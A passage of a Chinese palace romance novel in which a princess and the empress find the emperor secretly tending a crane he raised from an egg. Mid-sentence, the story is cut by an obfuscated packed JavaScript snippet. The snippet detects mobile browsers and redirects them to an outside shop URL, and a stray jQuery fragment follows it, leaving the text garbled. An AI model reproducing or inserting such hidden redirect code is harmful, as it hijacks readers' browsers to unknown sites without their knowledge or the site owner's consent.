此时的宫道上,暮色已将琉璃瓦染成一片深沉的琥珀色。
沈京仪沿着宫道往回走,身后跟着云娘和两个掌灯的小宫女。她走得很慢,步摇上的流苏随着步伐轻轻晃动,在夕阳的余晖中闪出细碎的金光。
宫道两侧的芍药开得正盛,层层叠叠的花瓣在晚风中轻轻摇曳,像是无数盏小灯笼。
风过时,花瓣簌簌而落,落在她的肩上,沾着暮露的凉意。
“殿下。”云娘见她脚步越来越慢,轻声提醒道,“晚膳的时辰快过了。”
暮色越来越浓,宫道两侧的石灯次第亮起,昏黄的光晕一盏接一盏地铺展到远处。她走到岔路口,本该往自己的寝殿去,脚下却鬼使神差地拐向了另一个方向。
身后的掌灯小宫女不明所以,只能提着灯笼紧紧跟上。
御书房的门半掩着,她站在门外从门缝里望进去。皇兄正坐在御案后批折子,朱笔握在手中,却迟迟没有落下。他面前摊着一本摊开的奏折,已经摊了许久,连纸张的边缘都被风吹得微微卷起。
沈京仪无声地退开了。
回到寝殿后,云娘端了几样她平日爱吃的菜来,她只夹了两筷子便搁下了。
“收了吧”。
云娘不敢多问,悄声收了碗碟退下。
她知道公主每从坤宁宫回来,若是听了什么关于陛下的消息,总会有好一阵子不愿说话。
沈京仪一个人坐在窗前,窗外的芍药被夜色浸染,大团大团的深红变成了暗暗的墨色,只有最浅的那几朵粉白还能在月光下勉强分辨出轮廓。
风一吹,花瓣又落了一地。
“云娘。”
云娘连忙从外间进来:“奴婢在。”
“让小厨房炖一盅百合莲子羹。”沈京仪想了想,又补了一句,“莲子要仔细去了芯的,百合要新鲜的,不要隔年的陈货。定要炖得烂烂的,别太甜。”
云娘应了一声,又问:“公主是现在用,还是……”
“送去御书房。”沈京仪走到妆奁前,打开一只螺钿小匣,从里面取出一朵今晨新摘的芍药。花瓣上还带着露水,颜色是极正的深红,花蕊金黄,开得正是最好的时候。
“半个时辰后送来,我亲自端过去。”
云娘领命而去。
沈京仪重新坐回窗前,拿了一卷书想打发时间,可看了半天一个字也没看进去。
半个时辰后,云娘端着百合莲子羹进来了。沈京仪便换了件衣裳,将鬓边的碎发拢了拢,亲手端着那盅羹,往御书房走去。
夜风比傍晚时又凉了几分,沈京仪怕盅里的羹凉了,将托盘往怀里拢了拢。
御书房在望。
那扇殿门紧闭着,门外站着两个值守的内侍,见沈京仪来了,连忙躬身行礼。
其中一个年纪稍长的上前半步,赔着笑道:“殿下,陛下说了今晚不见人,您看……”
“连我也不见?”沈京仪微微抬起下巴,语气里带着几分娇纵。
那内侍正要答话,却忽然朝另一个方向躬下身去:“皇后娘娘。”
沈京仪转过头,温氏正从侧廊的阴影里走出来,穿了一袭深青色的宫装,她手里也端着一个托盘,上面放的是一只青瓷小碗,碗里不知盛的什么,还在冒着热气。
两人四目相对,都愣了一下,随即同时笑了。
“嫂嫂也来了。”沈京仪笑着摇了摇头。
温氏走到她身边,目光在她手中的碧瓷盅上扫了一眼,唇角微微翘起:“百合莲子羹?”
沈京仪点头,也往温氏手中的青瓷碗里瞧了一眼:“嫂嫂的这是什么?”
“茯苓糕。”温氏将那托盘往身前拢了拢,语气里带着一丝无奈的笑意,“他这几日夜里总是睡不好,太医说是心火旺。茯苓安神,我想着他批折子到深夜,若是饿了,总比吃那些油腻的宵夜强些。”
两人相视一笑,那笑容里倒有几分同病相怜的意味。
皇后走到门前,伸手轻轻推了推,殿门却纹丝不动。她又侧耳听了片刻,里面什么声响都没有,连翻折子的声音都听不见。
“不在里头。”皇后直起身,语气笃定。
她转头问那内侍道:“陛下什么时候出去的?”
那内侍一脸为难,支支吾吾地答不上来。
皇后便不再问了,只是将手中的托盘递给他,吩咐道:“把茯苓糕放在暖窠里温着,等陛下回来了再送上去。”说罢,她转头看向沈京仪,眸色温柔:“把羹汤交给他们,跟我来。”
沈京仪将托盘递出去,提起裙摆跟了上去。两个人一前一后,绕过正殿,穿过一道月亮门,拐进了一条沈京仪从未走过的甬道。
那条甬道很窄,只能容两个人并肩走。两侧是高耸的宫墙,墙砖上覆着厚厚的青苔,在夜色中泛着幽暗的墨绿色光泽,摸上去又湿又滑,像是某种巨大鳞片的触感。甬道很暗,只有尽头处隐隐透进来一线天光,勉强照亮脚下的路。
“这条路……”沈京仪低声问,“是通到哪儿的?”
温氏将食指竖在唇边,示意她噤声。温氏的脚步很轻,明显是走过许多次的。沈京仪学着她的样子,踮着脚尖往前走,心跳却不自觉地快了几分。
甬道尽头是一扇小门。那扇门很旧了,门上的朱漆已经斑驳得看不出原本的颜色,露出底下灰白的木胎。铜环上挂着一把铜锁,锁身锈迹斑斑,看起来像是很多年没人动过。
温氏伸出手,捏住那铜锁往旁边轻轻一拨,锁应声而开。原来锁簧早已坏了,只是虚虚地挂在门上。
“这锁是坏的。”温氏将声音叹了口气,温声道,“你皇兄不知道我知道。”
沈京仪看着温氏的侧脸,忽然觉得这位嫂嫂比自己想象的要厉害得多。这座宫城里有多少扇门,多少条暗道,多少处不为人知的角落,皇帝以为只有自己知道的那些秘密,他的皇后其实全都知道。
可她知道归知道,从不点破。就这样安安静静地守在那个秘密的门外,隔着一扇破锁的门,让他在里面拥有一个完全属于自己的角落。
门开了一条缝,温氏侧身挤了进去,然后朝沈京仪伸出手。沈京仪握住那只手,只觉得掌心温热,指腹有一层薄薄的茧。
她也被拉了进去。
门后是一个很小的院子。
沈京仪原以为会看见什么精巧的景致,假山、流水、九曲回廊,毕竟是皇帝的秘密之所,总该有些不同寻常的气派。可映入眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886417|212556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
帘的,只是一个极朴素的、几乎称得上寒酸的小院。院子不过两丈见方。
院内只有正中央砌了一个不大的池子。
而池边,站着一个人。
沈易背对着门,穿了一身常服,没有束冠。那身姿比起朝堂上那个端坐如山的帝王,少了三分威严,多了七分落寞。他微微佝偻着肩,左手背在身后,右手向前伸出。
沈京仪顺着他的手看过去,她便看见了一只鹤。
它立在池边的角落,修长的腿微微弯曲,一身白羽在月光下泛着淡淡的银灰色光泽。鹤很高,几乎到人的腰际,长长的颈子弯出一个优雅的弧度,正低头从沈易手中啄食着什么。它的动作很从容,每啄一下都会微微偏头,用一只乌黑发亮的眼睛看向皇帝,像是在确认他的存在。皇帝的手就那样伸着,一动不动,任鹤喙在掌心轻啄。
“这只鹤叫云影。”温氏的目光越过院中的一人一鹤,唇角微微翘起,那笑意却很淡,“是你皇兄十五岁时亲手孵出来的。”
沈京仪偏过头,诧异地看向温氏。
“那年你皇兄还是太子,在御花园的鹤池边捡到一枚被母鹤遗弃的蛋。谁都以为那蛋活不了。母鹤不孵,天又冷,蛋早就凉透了。但他不信。”温氏的目光微微一暗,“他用狐裘裹着它,放在自己寝殿的暖炉旁,日夜守着。每隔一个时辰翻一次面,半夜起来好几次。”她唇角的笑意深了几分,“破壳那天正好是冬至。小鹤出壳第一眼看见的就是他,从那以后就认准了他。”
沈京仪忍不住笑了一下,笑完之后鼻头却又酸了。
那时候父皇刚驾崩不久,皇兄不过是个半大少年,被猝不及防地推上了太子的位置。
“鹤这种鸟。”温氏又道,声音里多了一丝感慨,“看着清雅温顺,实则刚烈得很。它若认了一个人,这辈子就只认这一个人。旁人喂的东西它不吃,旁人唤它它不应。有一年你皇兄出征,走了三天,云影便绝食了三天。谁喂都不行,太医院的人急得团团转,最后快马加鞭送了件你皇兄穿过的旧衣裳回来。云影闻着那气味,才肯吃东西。”
说到这里,温氏轻轻笑了一声,这笑声却让沈京仪觉得心头一暖,“后来你皇兄登基,正殿不能养鹤,他就让人把这座废弃的小院子收拾出来,修了这个池子,把云影养在这里。这个小院没有名字,内廷的档册上也没有记载。除了洒扫的哑仆和你皇兄自己,没人知道怎么走。”
“那嫂嫂是怎么知道的?”沈京仪忍不住问。
温氏侧过头看了她一眼,眼角弯了弯,露出一个有些狡黠的笑意。那一瞬间她不像一个端庄持重的皇后,倒像一个偷偷跟在自己夫君身后的小媳妇,满心满眼都是好奇和欢喜。
“大婚之后没多久,我发现他每隔几日就会无故消失一两个时辰,回来的时候鞋底是湿的。起初我以为是去御花园了,可御花园的池子边上都铺着卵石,不会湿鞋。后来有一夜,他半夜起身,我假装睡着了,等他出了门就远远跟在后面,就找到了这里。”
月色下,温氏的眉眼温柔得不像话。那是一种被时间打磨得很通透的温柔。她看过了所有的好与不好,然后选择了照单全收。
“嫂嫂,您跟皇兄是多少年的夫妻了?”